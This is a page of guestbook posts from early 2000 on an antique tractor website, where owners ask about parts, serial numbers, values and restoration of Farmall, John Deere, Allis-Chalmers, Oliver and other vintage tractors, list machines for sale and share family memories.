Margaret Howden wrote on Friday, March 17, 2000 (PST):Any CURRENT info on fair price for a Pony with "push blade", disc, "digger" (quack digger? rowcrop cultivator?), sickle mower, right and left hand 1 btm plows, in very good condition? Model and year not specified in ad; condition is seller's opinion ;-). Is there an illustrated guide to original Pony attachments? Saw what looked to be a 1-row corn planter, oddly mounted (on the side of the hood!) in the acrux.astro.indiana MH photo file on the web. But can't find detatiled info on attachments. Am hoping to find a reasonably priced Pony for market gardening, in good working order, not necessary to be in show condition (but wouldn't that be great?) Thanks.
jerry wrote on Friday, March 17, 2000 (PST):My grandfather had one it was a 1950 I think. he got it new and worked it on his farm untill he pasted away in 1971. the old tractor was then sold I have been looking for it for years now. I hope that one day I can find it and bring it home.It was the first thing I every drove. jerry Edinburg Va.
Jennifer Dodge wrote on Friday, March 17, 2000 (PST):My husband restored a tractos similiar to this one. However,I'm not sure of the year. Our sons,aged seven and five just love tractors. It's really nice to be able to get on a site and view other farmall tractors. Your tractor is real nice and I am glad that I was able to view it.
Jennifer Dodge wrote on Friday, March 17, 2000 (PST):My husband owns tow farmall tractors and this one is really pretty. We are a tractor family,owning five antique tractors.It's a family function at our house. We love the tractor shows. This tracotr on here is a real beauty!
Ronald Crane wrote on Friday, March 17, 2000 (PST):I have good supply of LA parts from 2 tractors.
walter robb wrote on Friday, March 17, 2000 (PST):Ihave a chance to buy a 1938 F 20 farmall,are part hard to find for this tractor?
kpowers wrote on Thursday, March 16, 2000 (PST):need specifications for t020 and to30 -must identify my tractor and cannot locate serial number. Anyone have specs or a good diagram that would show difference between two models? Help-need answer fast!!
Johhny Chandler wrote on Thursday, March 16, 2000 (PST):I would like to know if a funk v8 engine will fit a 1939 9n ford tractor?
Harvey DeBoe wrote on Thursday, March 16, 2000 (PST):I've got a 730 diesel. It isn't restored, but we use it to rake and tedd hay. We also use it to pull trailers with hay on them. It has a problem with the hydraulics, but otherwise it runs well. I can not find the decals for it. if you can help me, please contact me.
Lance Ropte wrote on Wednesday, March 15, 2000 (PST):I own the family 560D. I remember when it was new...A great sounding tractor pulling a four bottom plow. I will restore it to better than new condition. The early 706D also had the 282D engine but it was turned up to 2400 RPMs. I'd like to have a couple more of them. They were my favorite tractor.
Dave Lansing wrote on Wednesday, March 15, 2000 (PST):Is this crazy? My grandfather had a Farmall M and a Farmall H on his farm until everything was sold at auction after he died in 1981. I was around ten years old at the time and always loved the farm. They didn't use the M in the later years - it ran fine though. It had a bucket on the front (which may have been a "trip bucket" from what I've read here) that was run by cables and pulleys. The H they used regularly, it had a wide front end. I don't know anything about fixing tractors but am willing to try. This idea just hit me in the last week looking at tin signs, etc. for sale on ebay.com. What would you experts recommend to get started?
willie lee wrote on Wednesday, March 15, 2000 (PST):i have purchased a ac-b tractor. motor is locked up from sitting so long . any ideas how to get it going. hope to get a response
Dave wrote on Wednesday, March 15, 2000 (PST):I purchased a Case VAO (?)this past Saturday at an auction. My dad had a VAC when I was a younger and I have wanted to get one to restore. The tractor is missing the plate on the dash, so at this point I have been unable to find a SN and other than the fact that they said it was a VAO, I am not really sure of that (it is very similar to a VAC). It seems to have lower profile tires than I remember and a wide front end (might be after market equipment). Any ideas where else I might find a SN on this tractor?
James Grigsby wrote on Tuesday, March 14, 2000 (PST):I just love the sound of a 60 orchard model oulling a plow up the hill. I was raised in the orange belt of central Florida. At that time most of the lakes were surrounded by orange groves. I have spent many a day sitting on the lake with my Dad and brother-inlaw, listening to them chug up and down the hills. whenI hear one run today it brings back verry good memories Bama
Dan Pasch wrote on Tuesday, March 14, 2000 (PST):I have a 1967 Forson Super with the diesel engine with a loader and back blade for sale. Price $3,000.00 US.
Jarrell Currie wrote on Tuesday, March 14, 2000 (PST):larry nicholson ;you may be able to solve your problem with a resistor they used on the 1960 model dodge cars . It was put between the hot wire and the coil ,also your 60 model chevys had these to .I had to use one my racecar because my points did the same thing .i hope this helps .
John Patterson wrote on Tuesday, March 14, 2000 (PST):I just bought a 1948 8n tractor. It has a busted tooth on one of the gears in the trans. Any help on fixing this would be great (photos manuals ideas suggestions or help in any way) thanks
Stewart wrote on Monday, March 13, 2000 (PST):Resently acquired one. I am in need of photos of the original paint. I would like to paint it but must keep it original. Also I would like to know where to locate decals. Any help or info is greatly appreciated.
Brian wrote on Monday, March 13, 2000 (PST): My 52 CUB project is almost complete after 2years. On and off during that 2 yrs I misplaced my generator adjustment bracket does anyone have one? and where does it mount to on the engine. ( water neck maybe )also need grille and taillight lens.Any help would be helpful THANKS.
Joe wrote on Sunday, March 12, 2000 (PST):My dad has two old M farmalls with graders on them. One has the american and the other has a trojan. I've seen alot of the american ones but not a trojan. It has 32" tires on the back and is shorter than the american. could someone tell me if it is rare and what it might be worth. Thank you .
John Wells wrote on Sunday, March 12, 2000 (PST):I have a JD60 and took the roll-a-matic off and replaced it with a wide front end and sure does make a difference in the ride. It has a three point and live power. I have left it outside in the winter when it is 10 degrees below zero and just pull the choke and hit the starter and it started so quick I about jumped off the seat!!! It a great tractor for putting up hay.
Steve Workman wrote on Sunday, March 12, 2000 (PST):I have a 1948 VAC and would like to know any information on putting a 3 point hitch on it. Also, are there any clubs for VAC tractor owners? Thanks!
Dan wrote on Sunday, March 12, 2000 (PST):I have a Fordson Detxa tractor I know nothing a bout the little beast except it runs beautifully. It's a desiel and I need to know where on the tractor I can find out it's vital stats. Can anyone help with model, engine size and such? thanks from minnesota northwoods.
Tom wrote on Saturday, March 11, 2000 (PST):Oliver, 1/16 Scale models; I collect Oliver scale models if anyone has any older models for sale please contact me. Prices range from $25. up. I paid $300. for a nice model of my Super 55 in like new condition. Ive seen broken, no paint left ones go for around $175. Looking for a "99". Older 77's,(50's) go for around $150. up. There are some newer versions avail for around $50. Thanks!
Tom wrote on Saturday, March 11, 2000 (PST):I bought a Super 55 Diesel from a friend 2 yrs ago for $1000. It had a knock in engine which finally blew! (#1) It broke at crank journal, som I disconnected rod cap and threw it in tool box. Pushed piston to top of cyl. and bolted pan back on. Been running it that way all year now. Can not even hear a miss. You would never know. I think it runs better then before! (LOL) Really. About paint on wheels, Oliver 55's came with Chinise red and green wheels. Not sure what differance is? Poss. year or gas / diesel? / STARTER; I have two diesel engines (one spare) the starter on one has a manual switch and thensplines on the starter rotor shaft are straight. On the other starter W/electric solenoid the rotor shaft splines are spriled. Both starters work on 55 diesel though. Hope that helps someone.
Jeremy Fruth wrote on Saturday, March 11, 2000 (PST):My grandpa bought one new in '53, we still have the receipt where he paid $1200. Replacing a steel weeled oliver 70. The second year they had it they farmed five hundred acers of row crops with it and a 30 Ferguson. It has had 3 complete overhauls and 2 ptos. We estimate about 40,000 hrs,and is a daily runner with the original 6-volt system.
mike wrote on Saturday, March 11, 2000 (PST):Me and my dad have a 55 WD45 and are looking for a wide front end .
les finnie wrote on Saturday, March 11, 2000 (PST):I have worked in parts dept for ford tractors for 25 years colour of wheels has always been known as fordson orange
Maurice Butler wrote on Saturday, March 11, 2000 (PST):I first learned to drive a tractor at a very young age on my Dad's 1938 "challenger". It was very easy to drive with very easy steering for it's time, and the oil clutch. Wish it hadn't been scraped! Does anyone know where one in running cond' is for sale? I have seen one at The Agriculture Hall of Fame.
Dave Garris wrote on Saturday, March 11, 2000 (PST):I just picked up a farmall was told by previus owner that it was a super c.Not sure if it is a super c or just a c, also not sure of the year.The plate below the seat has model -fc serial no.is in151,000's.If would be greatly appreciated if you e-mail me with some imformation on the year,model and a place to get afew parts and a good service manual and a good,complete set of stickers so I can restore it back to original.Email me at buckjr at mail.uplink.net
Daryl Granfield wrote on Friday, March 10, 2000 (PST):The tractor i learned to drive, I am now restoring it. I am the third owner of this tractor, my dad being the second
mike wrote on Friday, March 10, 2000 (PST):need attachments for 60s lo boy
Marvin Asche Raymond,mn. 1090 160 SE 56282 wrote on Friday, March 10, 2000 (PST):I have a 641 ford tractor and has the red hood that was not painted ever. I love it but got to sell it because I had A hartatack,NO INSURANSE. need money.
Ron Porter wrote on Friday, March 10, 2000 (PST):I just purchased a house with 5 acres, and with it came a '30 L Case. I have alot of experence with cars, but this is my first tractor, & I love it! The last time I drove it to mow it started blowing water out of what looked like the water pump. If it were a car I'd say the the water pump bearing was shot & it needed a new water pump. I know this probably sounds like a dumb question - but is that what's wrong with the Case? Any info., tips, advice would be very appreciated!
tim galey wrote on Thursday, March 09, 2000 (PST):my neighbor and i are restoring his 1951 m and are looking for engine parts.if anyone in or around indiana has parts contact me at 1 765 762 2616 or e-mail THANKS
Triple C Tractor Finders wrote on Wednesday, March 08, 2000 (PST):We have 3 electric 830"s for sale . These are Canadian tractors that are available with different rear tire sizes. These tractors can be delivered in early May. Contact Mark at 2042394784.
James Monroe wrote on Wednesday, March 08, 2000 (PST):A week ago, I bought a 44 from a friend in my hometown, Italy, Texas. I got it running after filling the propane tank and replacing the ignition coil. Am in the process of replacing the rear tubes and painting the tractor after steam cleaning. It appears to be perhaps a conversion to propane. Would like to hear from others who have 44's Thanks, James Monroe 322 Lindsey Lane, Tyler, Texas, 75701-1636
david miller wrote on Wednesday, March 08, 2000 (PST):I have 3 cub tractors and love them to death.[had]4 but traded one for this computer.when I was a boy my mom would carry us to church on one
Gaston wrote on Wednesday, March 08, 2000 (PST):We have 4 Original Pony's for sale, some with attachements along with a 5th one for parts. We are located in Winchester, Ontario, Canada. For more information, please E-Mail us.
Brian Trim wrote on Tuesday, March 07, 2000 (PST):I own a 38 wc,That I gave a new life to, By dragging home with a stuck engine. After many hours of therapeutic labor, and a few cold beers,She's back up on her feet. Nothing sounds better than a straight pipe WC on a cool fall morning!!!
Mike Schmidt wrote on Tuesday, March 07, 2000 (PST):I have a 1937 just like the one in the picture with some added extra's. We currently use it for landscaping, plowing, and woods work. My dad and I like to go to all the tractor shows in our area, and have seen several in Wisconsin. We also are looking for parts all the time. If you have any leads, please let us know.
Lew Day wrote on Tuesday, March 07, 2000 (PST):Have a 1940 Model B Allis Chalmers Appreciate any info. Need of repair. Need manuals supplers and info on history of this tractor
Keith Drahn wrote on Monday, March 06, 2000 (PST):Dad bought a 10-year old 1947 D in Hillsboro, Oregon. The dealer drove it 10 miles to our farm but emptied the tank before he got there. Top speed was less than 5 MPH. He laughed until we saw how that big JD would pull an 8' wide tandem disk, set full cut, uphill in top gear. These had a multiple-fuel system that could run gas or diesel. When burning diesel, you could turn on a water injector that pulled from the radiator. Wonderful old machines!
Kenneth C.Brecht wrote on Monday, March 06, 2000 (PST):I used a G-1000 that my Dad had. This tractor was Propane powered and was a real power house. The six cylinder motor had a sound like no other tractor. My dad had used only Moline tractors since his first U he bought new in 1950.
john martinez wrote on Sunday, March 05, 2000 (PST):would like to know more about 1948 case tractors just bought one
red black wrote on Sunday, March 05, 2000 (PST):Q; why are John Deeres Painted Green? A; So they can hide in the bushes when big red goes by! I can tell that you guys like red. I own a 966, 1066, 1586, 5240, 7240, and 1460 but the toughest one on the farm is my 784 with loader!
Brian Eccles wrote on Sunday, March 05, 2000 (PST):My 560 diesel is the best starter I have in zub zero weather and is an excellent garden tractor.
Ralph Rodgers wrote on Sunday, March 05, 2000 (PST):My dad purchased one of these tractors brand new and still has it and uses it today. It is a 1951 model and was delivered to our farm on Christmas Eve of 1950. It was the first tractor sold in Emporia Ks that had the "live" hydraulic system (hydralectric) with dual remotes and the "live" PTO.
Jeff Mattingly wrote on Sunday, March 05, 2000 (PST):I bought a GVI from Welters Equipment in MO in 1992 and started pulling in the 5500# class. We won several points competitions from 1992 to 1999. We sold the tractor in 1999 and now we pull a Super M 670 in the Super Farm class.
Dylan wyn williams wrote on Sunday, March 05, 2000 (PST):i hace a super dexta at home it is a 1963 model and the engine is great and nver have trouble starting the only trouble is the back hydrolics which will not work for months and then work fine for as long as a year my dad and my uncle a macamic have been at it for days to try and find the problem exept for this it is a good little tractro and used daily on our farm.
steve van deusen wrote on Sunday, March 05, 2000 (PST):i make new hand cranks for IH and AC tractors.will make others if i have specs. email at sjvandeusen at net.net
steve vandeusen wrote on Sunday, March 05, 2000 (PST):serial left side toward front of engine on small machined surface sould be same as tag no. i have a 1927 and these two #s match.
bill grenzow wrote on Friday, March 03, 2000 (PST):looking for u speacial lp gas
Lyle Flynn wrote on Friday, March 03, 2000 (PST):The 1948 B was the frist one with a steel frame.My Dad bought a JD B New in May 44 for 1040. dollars on rubber with lights and starter.It started on gas then switched to fuel.He sold it in 48 for 1600. sure wish I had it back.
Mike Darby wrote on Thursday, March 02, 2000 (PST):I own a model M crawler that is a gas 4 cylinder 6 volt magneto that I'm rebuilding and using. It has been converted into a dozer and does apretty good job. I sure wish I knew where I could get parts or an old salvage unit. This thing is a pretty good machine.The serial number is M-3489, so if anyone knows anything about this or a parts tractor let me know. What year is this thing . Iwas told it was a 1942 thru 49?
Austin Ferguson wrote on Thursday, March 02, 2000 (PST):I know where two WD45's are and they are both in great condition!!!! He only uses them about twice a year if that, to mow his lane. What would they be worth? If you would be interested in them, he would sell them for the right price.
Jim Loucks wrote on Thursday, March 02, 2000 (PST):I am looking for a Farmall MV. This is a high crop tractor.
Martin Brack wrote on Wednesday, March 01, 2000 (PST):I'm tring to fix up a D case tractor. I'm looking for a junked one to use for some parts. I'm also looking for a 3piont hitch and a loader.
Robert Cox wrote on Wednesday, March 01, 2000 (PST):My father purchased a new 8N in 1952. I would have been 12 at the time and spent many hours on the tractor during my teens. The tractor has been overhauled several times and is still owned and used by my father. I also purchased a 1952 8N in 1974 and have used it since, but not so much. It had only 1500 hours when purchased and was overhauled at the time. It now has roughly 2200 hours and still runs great. I have fond memories of the 8N.
Ray Forsell wrote on Wednesday, March 01, 2000 (PST):I have a cub lowboy that has been in my family for at least 20 years. I am trying to find out exactly what year it was built, and any info that I can. I have been doing some research, cant get all the answers through the books that I have seen. The serial number is 22976 J, it is yellow and white, is the offset frame style with a hood that ends in a straight metal edge on the front, and an expanded metal grille on the front. It has round headlights sticking through the sides of the hood. It has an original model 54 snow blade, and a white belt driven 5 foot mower deck. I will be replacing the clutch this winter and want to make sure I get the right parts. Do any of you Low-Boy PHD's have any info? Thanks in advance. Ray Forsell Burllington, VT
JEREMY BURCHETT wrote on Wednesday, March 01, 2000 (PST):march 1 00 I have ajohn deer 60 that I currently only use for tractor pulling. I am a member in our local club as well as president. The name of our club is THE WASHINGHTON COUNTY ANTIQUE TRACTOR AND EQUIPMENT CLUB. We feature antique equipment owners as well as tractor pullers. I am from marietta ohio.
Brett Christian wrote on Wednesday, March 01, 2000 (PST):I have 2 ponys for sale located in Richmond VA. I have a dump load of attachments. One is in excellent condition the other needs work. Will be interested to hear what these 2 tractors will bring.
Austin Ferguson wrote on Wednesday, March 01, 2000 (PST):I am at school and we would really get into trouble if our teacher seen we were in here, my family are Allis Chalmer farmer. That is all we drive. We have a 4W 305. We also just got a brand new 9695. Write back and tell what kind of tractores you have.
Austin Ferguson wrote on Wednesday, March 01, 2000 (PST): My grandpa,dad, and I are big A.C. farmers!
John Kikut wrote on Tuesday, February 29, 2000 (PST):Recently came across a 1941 Case "V" model tractor (sn#V4522223) in working order, and in resonable shape. Would like to know what the value of this tractor would be. Any info that can be provided would be greatly appreciated. Thanks, John Kikut, Woodstock Ontario, Canada
Michel Tousignant wrote on Tuesday, February 29, 2000 (PST):My grandfather bought a 40C brand new in 1953. My uncle still has it and uses it as a snow plow in the wintertime. Where in the Montreal area. My uncle just acquired a MC and is actually restoring it. He doesn't have the original engine (a 420 engine I think)and tracks ( he doesn't have the lindeman track) but the crawler is running great. It will get a paint job any day now.
Aaron Ochs wrote on Tuesday, February 29, 2000 (PST):My grandpa has a D17 and that was the first tractor I drove. They are nice tractors.
Arin Peters wrote on Tuesday, February 29, 2000 (PST):I`am looking for a farmall tractor perferably a f-30,f-14,f-12 H,or M.To restore, I really want one that doesn`t run,because I like to make them run again,and to me that is the fun part so if anyone has one for sale please let me know.
Franz Felten wrote on Monday, February 28, 2000 (PST):Lynette- A little late, but I think you are talking about the No. 8 tractor plow. It came in 2 or 3 bottoms in either 14" or 15". It had red plow beams, blue colters and hitch, with the wheels and spooks and hub International Cream color. My father bought one during WWII and had an older one from the 1930's. These were good plows and had heavy beams. The B will not pull this plow. We used a M. All this from my memory.
Doug Rogers wrote on Monday, February 28, 2000 (PST):Some of my fondest boyhood moments was driving my dad's Massey Harris. I don't know the year or model, but this tractor had steel wheels that set back with most of the motor extend in the front. You cranked it to start it, and it went EVERYWHERE! Could anybody give me a clue about model, etc.?
Charles Leffert wrote on Sunday, February 27, 2000 (PST):I Own a Oliver 60 and thought it was a orchard tractor and was considering restore in it and wondered were to get parts and if there were any other picture that looked like the one you have with the wide front end .
Kevin Logan wrote on Sunday, February 27, 2000 (PST):There is an S model Case coming up at a local auction that I am interested in. I do not know the year. What bid price should I expect to buy this tractor at?
tina wrote on Sunday, February 27, 2000 (PST):Hi, does anyone know if a Ford 9N, Ferguson 30 and the M-H Pony are the same in size and performance and if not what is the difference? This is the first I have heard of the Pony and I want to buy a Ferguson comparable tractor.
Dave Ordos wrote on Sunday, February 27, 2000 (PST): I have a 29 L that I'm in the process of restoring. Those tractors were quite a hoss. the one I got ran pretty good, but is now getting a ground up restoration.
john conrad wrote on Sunday, February 27, 2000 (PST):we have a model 97 1963 it seems to be a good tractor we bought it in montana for 2500.00 it is propane powered wich is areal pain to get it filled it has one broken piston so im redoing that one after we get it fixed we are thinking of selling it if any one is interested please contact me at my email john_con at almosthuman.zzn.com
Dan wrote on Sunday, February 27, 2000 (PST):I have a '40 b that my dad bought in 1964 for me to cultivate with. It is in unrestored condition but is in good shape. The Hi-Lo gear shift lever wants to jump out so I will need to tear apart the trans to fix. It has been a fine tractor and always starts as it is a hand crank. It is one of the best tractors John Deere ever made.
Ed Long wrote on Saturday, February 26, 2000 (PST):my e-mail adress is jdtractorholic
steve wrote on Saturday, February 26, 2000 (PST):I have a sc case that i bought to restore,but i just dont have the time. it runs and drives tin work is in pretty good shape. it needs tires,and probably an orerhaul,and a good paint job,for someone interested in an sc project get back to me. i am in massachusetts.
angel and Joe wrote on Saturday, February 26, 2000 (PST):Hello, I need to get some information to fix a 1941 Farmall cub tractor. My dad is giving it to me and would like to see it run it ran year before last then just stopped. I would like to purchase a book on it. Serial number 26324 351686) R1) If you could help me any way I would be very greatful. Would like to hand it down to our son in running condition and with a moer deck would be so helpful to moe with Thank you.
Wyatt Olsen wrote on Saturday, February 26, 2000 (PST):I bought a 500 Case at a auction about 10 years ago.It still runs great and is in good condition. My only problem is that I need a PTO, and I can't find the parts. I hate to sell a machine that runs this good, but I found a 730 close by for $2500 that has what I need. I payed $950 for my 500 and would really like to keep it. If anyone has a dead 500 with a PTO I would like to hear from you.
Bill Cornelius wrote on Saturday, February 26, 2000 (PST):While growing up my Father used a 35 CC on steele to bush hog our N.KY Hill Farm untill the early 70s.It is now Fully restored and residing on the same farm RETIRED along with my DAD.I now show the CC around N.KY you can see my DAD near by telling stories of his mishaps and adventures on the Ole tractor slightly exaggerated !!! Bill Cornelius
GeneD14 wrote on Saturday, February 26, 2000 (PST):You may want to take a good look at that engine. The gas version for the D17 was a 226 cubic inch 4 cylinder. It was common to swap engines with a Gleaner combine. Good Luck!
Ron York wrote on Friday, February 25, 2000 (PST):I grew up on a farm in SE Kansas during the Sixties and many times worked all day on my dad's WD 45. My parents still live on the farm and will be celebrating thier 50th wedding aniversery in April. Now my question. Does anyone know of a 1944 WC that is for sale. This was my father's first tractor bought with coupons when he returned from WWII and would like to find one for him. One that runs would be nice but he is a mechanic and would love to tinker with it. Please email any information you may have.
Mike Truster wrote on Friday, February 25, 2000 (PST):I have a d-17,series 3,with a 6cyl. gas,but it was originaly a deisel would like to find parts
Linda Pyles wrote on Friday, February 25, 2000 (PST):I have a Allis chalmers that was my grandfather's. It has been painted some years ago and runs well, in fact I use it often on my farm. I am not sure if it is a "B" but the picture looks the same as the one in the directory on this web site. It has decals by the radiator that say "B". The number in front of the shifter is 173499. On the right side of the tractor where your right foot would sit is the number AM2787-19. On the transmission is number AM2880-5. I looked on the serial number registery on the Allis home page and I couldn't quite make sense of it. Would some please help me. Thanks Linda
DEAN HLAD wrote on Thursday, February 24, 2000 (PST):When I was young in the late 60's our farming operation was spread out. I remember my grandfather was working with a 55 Massey using a one-way to work some summerfallow. When he didn't come home we became concerned about where he was. Later that evening we got a call from the Russell Hospital in Russell Ks. He was admitted with a broken wrist! He had refueled the tractor (by 5 gallon cans) and when he went to restart it via the hand crank, the engine kicked back and sprung his wrist a good one. We were all more careful from then on. The 6-volt system on the 55's was never enough! We used several 55 for quite some time, even putting a front-end loader on them for moving big round bales.
nick wrote on Thursday, February 24, 2000 (PST):we have a M and a SM the super M is mine these to run our 7 and a half acers with a case DC which my father bought these three run the baler and haybine to cut and bale 5 acres of hay and do a pretty good job too even though they are older than the equpment they run!
Dave Barglof wrote on Thursday, February 24, 2000 (PST):Have B- Farmall to sell please contact. Also H- Farmall for sale 4- row front Mount cultivater Fits M Farmall
Marty Schutz wrote on Wednesday, February 23, 2000 (PST):I have a 1940 Oliver Row Crop 60. I am looking for a bucket or blade to buk snow at my hunting shack in northern Minnesota. Any ideas? Thanks.
Brian Freemantle wrote on Wednesday, February 23, 2000 (PST):My grandfather bought a 12-24 back in 1927 and my father always told us of how he drove it 32 miles to a new farm that they bought in 1929. It was later sold to another farmer in the district who used it for many years to drive a sawbench. it was then sold to a collector who kept it for a short while before selling it to another collector.The second last owner told me that it still had it's original books with it. The tractor is still in working order. I am hopeful of being able to aquire it someday for sentimental reasons.
Jacob Johansen wrote on Tuesday, February 22, 2000 (PST):For a 4H project I restored my landlords F20. I trided to buy it from it him, but it was his first tractor he bought so he wouldn't sell it. He is 84 years old. So a nabor sold his F20 for 150$ so I am restoring it for a 4H project. I also redide a 1958 460 last year.
ernie henning wrote on Tuesday, February 22, 2000 (PST):I am not to good at this computer stuff yet, but know quite a bit about the B. great little tractor. I have restored two and presently own a 1947 last year for them. I worked at farmall works Rock Island when they closed. Any questions about Bs my e-mail is ernhen at aol.com
John Cretens wrote on Tuesday, February 22, 2000 (PST):I'm looking for a replacement steering gear assembly for my Dad's '55 300 utility tractor. I've had no luck finding one in the Michigan/Wisconsin area. ANy suggestions?
Ron Hawkins wrote on Monday, February 21, 2000 (PST):When I was 12 yrs old, my grandfather put me on a 1949 MH-44 rowcropper, put in 5th gear and told me to hang on. I stopped about 4 hours later. I have since inherited that tractor from him and would not trade it for the world. Some day I hope my son feels the same way about it as I do!
Dan Hackler wrote on Monday, February 21, 2000 (PST):I have found the information I was looking for on my F-20's cast wheels.Restoration is half-way done, have found an abundance of parts in south east NE. All I need is "money"" HA-HA- ENJOY READING THE WEB SITE!!!!
Dan Hackler wrote on Monday, February 21, 2000 (PST):I have found the information I was looking for on my F-20's cast wheels.Restoration is half-way done, have found an abundance of parts in south east NE. All I need is "money"" HA-HA- ENJOY READING THE WEB SITE!!!!
Jon Prince wrote on Monday, February 21, 2000 (PST):I am very interested in buying a 1950 with fwa. Please contact me!!!!
Billy R. Young wrote on Monday, February 21, 2000 (PST):The power troll lift suddenly stopped staying in the raised position. I removed the unit and replaced the piston leather cup. It would stay raised only with the lever in the raised position. Now it wll not do anything. It stalls the engine when the lever is put in the raise position. Any ideas on what my problem is?
Richard Davis/Terra Davis wrote on Sunday, February 20, 2000 (PST):I just purchases an 8N-4 cylinder tractor and have been lookingfor implements. Can you help me out with this. The only implement that I have is a back blade. It has a three point and a PTO. Thank you for your help.
willis allen wrote on Sunday, February 20, 2000 (PST):i have never been a big farmer but have had a few oliver tractors my dad bought a new oliver row crop 60 in 1948. i still have a 1950 oliver 77 gas model that i bought used in 1967. i am retired now and enjoy getting it out and drive around town in the summer time. it is all original and still looks real good. it is short the front headlights. but i found a place to get them. thanks for letting me add my coments about olivers.
Matt wrote on Sunday, February 20, 2000 (PST):I own a 1953 Wd wide front and am looking to buy any impliments that will fit using the snap coupler system. Please email me if you have any such items for sale. Thanks
TOM wrote on Sunday, February 20, 2000 (PST):WHAT IS THE HP OF A 1948 WD S# WD106162? I ALSO HAVE REAR WHEEL WEIGHTS FOR SAME
Travis English wrote on Sunday, February 20, 2000 (PST):dose anyone have info on a 1947case tractor.
Wayne from Mass. wrote on Saturday, February 19, 2000 (PST):Oliver made about 400 of MF 98. They have a 371 Detroit. It's the same as an Oliver Super 99. More of the MF 98's had hand clutches. I have 2 1955 Oliver Super 99's. One is used for antique stone boat pulling. Tractor weighs 18,500!
EVAN SIMPSON wrote on Saturday, February 19, 2000 (PST):I, would sure like to get some info on farmall HV or MV. If you know of anyone who has one of thse tractors please forward my request. Thanks
Carlton W. Mullins wrote on Saturday, February 19, 2000 (PST):My dad currently owns a Farmall 560-D (#43247) with wide front end & toque amphlier. I've got a question about some decals that aparrently this tractor used to have on it. They are starting to show up from the faded paint. The decales are located on the left side of the hood. One decales says "Job Matched Speeds" & the other says "More Work At Lower Cost". I've heard of some Limited Edition 560's that were solid white that were supposed to be an advertisement type thing. I've seen an article on one, but the tractor in the article was questioned on its authenisity. Its been a few years ago & I can't remember which magizine it was in now. Any reponse would be greatful. Thanks!
Bryan wrote on Saturday, February 19, 2000 (PST):Check in "Orphan Tractors" by Bill Vosseller for picture of Bull tractor.
Bryan wrote on Saturday, February 19, 2000 (PST):This was Avery's entry into the light-weight tractor market. It didn't make it and is very rare today.
Bryan wrote on Saturday, February 19, 2000 (PST):Check out the book "Orphan Tractors" by Bill Vosler for article on the Samson. Can email debbenga at rconnect.com to maybe order a copy. They may be out of print.
Charlie Zuck wrote on Friday, February 18, 2000 (PST):Could someone explain how the MD engine works. I thought diesel engines needed much higher compression that gas engines. I have seen a few of these tractors at shows and would like to know the operation of the engine.
Ossie Smith wrote on Friday, February 18, 2000 (PST):I have a 1946 AC "C" just about ready to paint --need to know what color what was on that model, was the radiator black, was the grill orange , was the starter black or orance, was the wiring painted or not painted, was the mag. painted or not ? was the radiator cap painted orange or black ? these details are what I need thanks for any information.
Bob Miller wrote on Friday, February 18, 2000 (PST):I have an F-30. It ran the last time we used it in late 70's. I suspect the engine is still good. I learned ALL about magnetos with this old rig. Last time we used was to bump our big pecan trees to make the nuts fall. Don't know how I ever got by without breaking my wrists startin her either. Dad farmed in the 30's in Muskogee county Ok. on an original Creek Indian 100acre alotment farm which is still in the family. I intend to do a full restore on the tractor but would consider sell/trade.
clark thompson wrote on Friday, February 18, 2000 (PST):I have a 1948 cub that i purchased 9 years ago,i rebuilt i and the sold it to a historical society .last year the society dissolved and i bought it back and my son alex and i restored it to show condition. everything is original.i used good paint such as ppg and hardener,people at local shows say that it looks better now than it did when it was new. My grandfather was a farmall and john deere dealer back in the early 50's in hubbard ohio.when i was 13years old he gave me a old cub to drive around town for transportatoin.I drove the old cub for 4 years and put probabley 75000 miles on it.when i was done he put it back to work on his farm and used it till he passed away in 1986.since then i have purchased about 25 cubs and restored them properly and then sold them.i didnt get near the money back that i put into them but it was alot of fun.I currentley have a 1951 I9,1928 fegular,1938F20,1950 farmallH and the 1948 cub
Clark Thompson wrote on Friday, February 18, 2000 (PST):In 1998 I purchased a I9 gasoline.It was setup to push and pull railraod cars.It weighed almost 13000 l.b.s.with all the pushing equipment attached.Unfortunateley to restore the tractor i had to remove the push bumpers with a cutting torch.The tractor is now restored to show condition.It is a 1951 and came from a mill somewhere in western pa.
Ben Wiatrek wrote on Thursday, February 17, 2000 (PST):Your tractor ser# 237732 is 1949 model
woods c. swinburn wrote on Wednesday, February 16, 2000 (PST):I've met a couple of fine folks who also own Farmall B's on this net. Looking to meet some more, especially anyone who has a B and lives in Texas. Thinking about trying to start an old Farmall tractor club in Texas if there's interest.
Doug MacMillan wrote on Wednesday, February 16, 2000 (PST):Hi John Deere enthusiasts. I have a question about my John Deere model B. It is a later model, I thought that it was a 1947 but I was told otherwise. I was hoping that someone could tell me what the year was by the serial number. The serial number is 237732. If you could respond with the name of a site or the answer i would greatly appreciate it.
Eric Hillman wrote on Wednesday, February 16, 2000 (PST):I believe my father has one of these in a old building on the farm. Its a pretty intersting piece of machinery. Its either a VAO or a VAC I can't remember what the serial said.
Charlie wrote on Wednesday, February 16, 2000 (PST):Question; What is a fair price range for a fully restored 1940 Farmall/IH H tractor?
Joe Maynard wrote on Tuesday, February 15, 2000 (PST):I have a 1946 H model road grader I am selling, good running condition $2,000.00. Includes many extra parts including engine, fuel tank, rims, axels, hubs, clutch and trans housing + more. If intersted contact via email at cathouse at qnet. com or call 661-256-3793.
mack hewitt wrote on Tuesday, February 15, 2000 (PST):When I was a boy in south Louisiana, we farmed with an IH WR-9, which is essentially the same as the WD-9, except set up for rice fields. That old tractor was a legend in the neighborhood because of what it would do. It would outpull a lot of bigger, newer tractors. I just discovered this website, and am really enjoying it. I especially like reading other people's comments.
Wayne Becque wrote on Monday, February 14, 2000 (PST):I have a 1933 model year of this machine. Mine runs well and I use it around the farm, but it don't look as pretty as this one in the picture. ;o) Mine was converted to electric start at the power take-off.
Travis Mann wrote on Monday, February 14, 2000 (PST):I am looking for an 8N of any condition or any year. I plan to make this my first tractor, and would like help finding one Thanks.
Tim H. wrote on Monday, February 14, 2000 (PST): Do you think the 1066 holds its own compared to other tractors its size? I like them for just every-day farm use.
zack lacenski wrote on Monday, February 14, 2000 (PST):My grandpa bought a 1943 Farmall H brand new. We still use it for pulling chopperboxes. It dragged our John Deere and full manure spreader around the yard like nothing. It has the power, but not the weight.Its a darn good tractor.
zack lacenski wrote on Monday, February 14, 2000 (PST):My dad has a T-20. The other night I was driving it around until 9;00. We take it in the woods when we make firewood, and nothing works better.
Joe Witt wrote on Sunday, February 13, 2000 (PST):I have a 1936 F-12 with round spokes on the back and aftermarket 6 bolt rims on the front. When I found the tractor the valve cover was off. The engine was a rusty mess. I need a camshaft and fuel pump. E-mail me or call 785 593-6677 thank you.
